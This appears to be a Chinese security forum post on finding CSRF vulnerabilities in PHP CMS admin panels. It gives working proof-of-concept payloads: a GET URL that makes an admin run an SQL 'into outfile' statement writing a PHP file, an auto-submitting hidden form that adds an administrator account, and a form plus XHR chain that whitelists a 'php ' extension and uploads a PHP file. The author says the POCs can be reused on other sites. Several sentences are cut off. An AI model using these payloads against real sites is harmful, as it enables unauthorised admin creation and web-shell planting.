CSRF漏洞挖掘

xman21 / 2017-03-09 09:50:00 / 浏览数 4128 安全技术 漏洞分析 顶(0) 踩(0)

前段时间学了下php代码审计，注入什么的感觉都被大牛们挖光了，真是不好找，不过还是挖到了些CSRF，感觉还是比较有意思，这里把挖掘经验分享一下。

一、CSRF简介

CSRF（Cross-site request
forgery）跨站请求伪造，是一种被动的漏洞利用方式，很多人对这种漏洞不屑一顾。前段时间在学php审计的时候，发现一些厂商对CSRF都是直接忽略，但是一旦利用成功

二、CSRF之GET请求

一般来说，网站的重要操作都是POST的，比如添加管理员、修改配置文件等。我们知道，无论在什么样的漏洞利用环境下GET请求都是比较容易构造的，所以一般能用GET

可以看到是一个POST请求，但是它后台是什么接收的呢？

```
$sql=StripSlashes($sql)
```

很明显是直接给未初始化的变量赋值（$sql之前没有定义），那么这种赋值方式通过GET也是可以的。比如我们修改成这个样子

这样就为我们构造CSRF的payload提供了便利。OK，那怎么getshell呢？老司机们一眼就看的出来，直接用数据库管理功能导出一句话啊！我们构造这样的sql语句

```
select '<?php phpinfo();?>' into outfile 'C:/WWW/1.php';
```

``当他执行时会在网站根目录下生成1.php，绝对路径怎么获取呢？这个自己想办法。。。
然后我们将这个sql语句编码后拼接到url中，并把它放到img标签中

```
"http://192.168.219.129/admin/index.php?lfj=mysql&action=sql&t=1&sql=%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%70%68%70%69%6e
```

``随便插入一个地方或构造一个页面，诱使管理员访问，就会在根目录下生成1.php文件

三、CSRF之POST请求

当某些操作确实指定了POST请求无法修改怎么办，这时候可以构造一个隐藏表单，当页面被访问时表单将自动提交。比如利用某CMS的CSRF漏洞可以构造如下表单添加管

```
<HTML>
<BODY>
<form action="http://192.168.219.129/admin/index.php?archive=management&action=managesava" id="CSRF" method="post">
<input type="hidden" name="inputclass" value="add">
<input type="hidden" name="tab" value="true">
<input type="hidden" name="username" value="admin2">
<input type="hidden" name="password" value="admin2">
<input type="hidden" name="password2" value="admin2">
<input type="hidden" name="sex" value="1">
<input type="hidden" name="name" value="admin2">
<input type="hidden" name="inputclassid" value="1">
<input type="hidden" name="powergroup" value="1">
<input type="hidden" name="isremote" value="1">
</form>
<script>
var f = document.getElementById("CSRF");
f.submit();
</script>
</BODY>
</HTML>
```

这个表单简单修改下就可以用在其他有同样漏洞的地方。

四、CSRF之文件上传

CSRF不仅可以修改添加数据，还可以上传文件，很多时候文件上传只有在后台才能执行，所以这也是一个非常重要的利用方式。但是几乎所有的后台上传都会限制可上传的

比如下面我利用某cms文件上传漏洞结合CSRF获取shell，在cms后台有上传文件的地方，但是默认只能上传这样的文件

所以我们想要上传shell首先要修改配置参数，添加一个文件类型，但是还不能直接添加.php文件类型，因为代码中做了限制

```
function typecheck($str_type, $uptype) {
if (empty($str_type)) return false;
$allow_type = explode('|', $str_type);
$newallowType = array();
foreach ($allow_type as $key => $allow_type) {
$allow_typefile = strtolower($allow_type);
if ($allow_typefile == 'php') {
continue;
}
$newallowType[$allow_type] = $allow_type;
}
if (array_key_exists($uptype, $newallowType)) {
return true;
} else {
return false;
}
}
```

当文件类型为php的时候直接忽略，添加了也没有用，所以要使用一点小技巧，添加文件类型时添加一个.php
(后面有个空格)的文件类型，它能绕过$allow_typefile=='php'这句话的判断，同时在写入文件的时候windows能自动忽略最后面的空格，生成.php文件。
然后就是构造上传文件的表单，POC一共执行两个动作，一是修改配置文件添加允许的上传文件类型，二是上传shell文件

```
<html>
<body>
<form action="http://192.168.219.129/admin/index.php?archive=management&action=setsave" id="CSRF" method="post">
<input type="hidden" name="upfile_pictype" value="jpg|png|gif">
<input type="hidden" name="uifile_movertype" value="swf|mpg|flv|mp4">
<input type="hidden" name="upfile_filetype" value="zip|rar|doc|xls|php |pdf">
</form>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.219.129/admin/index.php?archive=filemanage&action=upfilesave", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------165693120326202");
xhr.withCredentials = "true";
var body = "-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"path\"\r\n" +
"\r\n" +
"upfile/\r\n"+
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
"\r\n" +
"100000000\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"img_width\"\r\n" +
"\r\n" +
"200\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"img_height\"\r\n" +
"\r\n" +
"200\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"filetype\"\r\n" +
"\r\n" +
"file\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"lng\"\r\n" +
"\r\n" +
"cn\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"isgetback\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------165693120326202\r\n" +
"Content-Disposition: form-data; name=\"upfilepath\"; filename=\"php.php \"\r\n" +
"Content-Type: application/octet-stream\r\n" +
```

```
"\r\n" +
"<?php  phpinfo(); ?>\r\n" +
"----------------------------165693120326202--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
var f = document.getElementById("CSRF");
f.submit();
submitRequest()
</script>
<!--<form action="#">
<input type="submit" value="Submit request" onclick="submitRequest();" />
</form>-->
</body>
</html>
```

这个POC简单改也改能用在其他地方。

五、CSRF之防御与绕过

想要防御的话就要明白CSRF漏洞利用的核心—-构造请求！这个请求会在受害者不知情的情况下发出，对数据进行增删改（CSRF是不能读数据的）。但是如果请求中有我们

机数。

上一篇：S2—045漏洞分析 下一篇：2017年最佳算法提名勒索软件（s...

1. 1 条回复

xman21 2019-06-27 09:11:48

test

0 回复Ta
